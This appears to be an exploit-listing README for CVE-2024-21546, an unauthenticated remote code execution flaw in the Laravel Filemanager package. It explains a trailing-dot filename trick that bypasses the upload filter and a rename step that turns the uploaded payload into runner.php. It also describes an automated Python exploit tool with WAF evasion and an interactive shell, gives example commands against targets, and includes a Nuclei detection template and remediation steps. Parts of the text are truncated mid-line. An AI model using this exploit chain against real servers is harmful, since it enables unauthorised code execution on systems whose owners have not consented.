Exploit for CVE-2024-21546

## https://sploitus.com/exploit?id=A0D16301-5B7A-5002-97FC-982F7D6DFF94
# UniSharp Laravel Filemanager Unauthenticated RCE (CVE-2024-21546)

This repository contains security assessment tooling, detection templates, and an automated exploit toolkit for identifying and exploiting **Unauthenticated Remote Code Execution (RCE)** in applications utilizing the `UniSharp/laravel-filemanager` package (Versions `file->getClientOriginalExtension());
    if (in_array($extension, $unallowed_extensions)) {
        throw new \Exception('File extension is not allowed.');
    }
    return $this;
}
```

When an attacker uploads a file named `poc.php.`:
- Symfony's `getClientOriginalExtension()` extracts characters following the *final* dot.
- Since the filename ends in a dot, `getClientOriginalExtension()` evaluates to `""` (empty string).
- The check `in_array("", ['php', 'html'])` evaluates to `false`, bypassing the extension block.

### B. Extensionless Resolution & Rename Chaining
On Windows and specific storage drivers, the file is persisted as an extensionless hash (``). The exploit chains LFM's `RenameController` (`GET /laravel-filemanager/rename?file=&new_name=runner.php`) to rename the uploaded payload into an active `.php` file, granting immediate web execution under `/storage/app/public/file-manager-files/items/runner.php`.

---

## 3. Nuclei Detection Template (`laravel-filemanager.yaml`)

### Why Default Templates Fail on Localized Sites
The upstream community template (`http/exposed-panels/laravel-filemanager.yaml`) (https://github.com/projectdiscovery/nuclei-templates/blob/main/http/exposed-panels/laravel-filemanager.yaml)  relied on a hardcoded English string matcher:
```yaml
matchers:
  - type: word
    words:
      - "Laravel FileManager" # Fails on localized deployments or non english versions
```
When applications are localized (e.g. Arabic, French, Chinese), the English string is not present in the HTML body, causing false negatives.

### Recreated Template Specification
The modernized template detects the panel by matching immutable vendor asset paths and upload form actions:

```yaml
id: laravel-filemanager

info:
  name: Laravel File Manager - Panel Detect
  author: digitalsurgn
  severity: critical
  description: Laravel File Manager panel was detected.
  reference:
    - https://github.com/UniSharp/laravel-filemanager
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
    cwe-id: CWE-200
  metadata:
    max-request: 1
  tags: panel,laravel,filemanager,fileupload,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/laravel-filemanager?type=Files"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "vendor/laravel-filemanager"
          - "laravel-filemanager/upload"
        condition: or

      - type: status
        status:
          - 200
```

### Running the Nuclei Scan
```bash
nuclei -u https://target.com/ -t laravel-filemanager.yaml
```

---

## 4. Automated Exploit Toolkit (`cve_2024_21546_rce.py`)

The standalone Python tool (`cve_2024_21546_rce.py`) automates end-to-end unauthenticated exploitation with built-in WAF evasion and self-cleaning hygiene.

### Exploit Capabilities
- **Protocol & Port Auto-Negotiation:** Automatically discovers whether target uses HTTP or HTTPS and supports non-standard custom ports.
- **Pre-Flight Access Verification:** Confirms `/laravel-filemanager` is accessible without authentication before attempting exploitation.
- **Dynamic File Tracking:** Takes before/after snapshots of directory listings (`jsonitems`) to identify the uploaded hash without relying on hardcoded folder or file names.
- **WAF Evasion:** Uses PHP short tags (`` | Target domain or IP address (e.g. `example.com` or `192.168.1.50`). |
| `-p`, `--port` | `` | Target port if different from standard 80/443 (e.g. `8080`, `8443`). |
| `--scheme` | `http` / `https`| Explicitly specify protocol scheme (default: auto-detected). |
| `-c`, `--cmd` | `` | Single command to execute (e.g. `whoami`, `id`, `ipconfig`). |
| `-i`, `--interactive` | *flag* | Launch an interactive command execution shell. |
| `-d`, `--dir` | `` | Target LFM working directory (default: `/items`). |

---

### Examples

#### 1. Interactive Mode (Prompts for target, port, and command)
```bash
python3 cve_2024_21546_rce.py
```

#### 2. Single Command Execution (CLI)
```bash
python3 cve_2024_21546_rce.py -t xyz.com -c "whoami"
```

#### 3. Custom Non-Standard Port with Interactive Shell
```bash
python3 cve_2024_21546_rce.py -t 10.10.10.50 -p 8080 --interactive
```

---

## 5. Remediation Guidance

1. **Upgrade Package:** Update `unisharp/laravel-filemanager` to version **2.9.1** or later via Composer:
   ```bash
   composer update unisharp/laravel-filemanager
   ```
2. **Enforce Authentication Middleware:** Ensure all filemanager routes are protected by authentication in `config/lfm.php`:
   ```php
   'middlewares' => ['web', 'auth'],
   ```
3. **Restrict Public Storage:** Configure web server rules to deny execution of `.php` scripts in public upload directories (e.g. `/storage/`).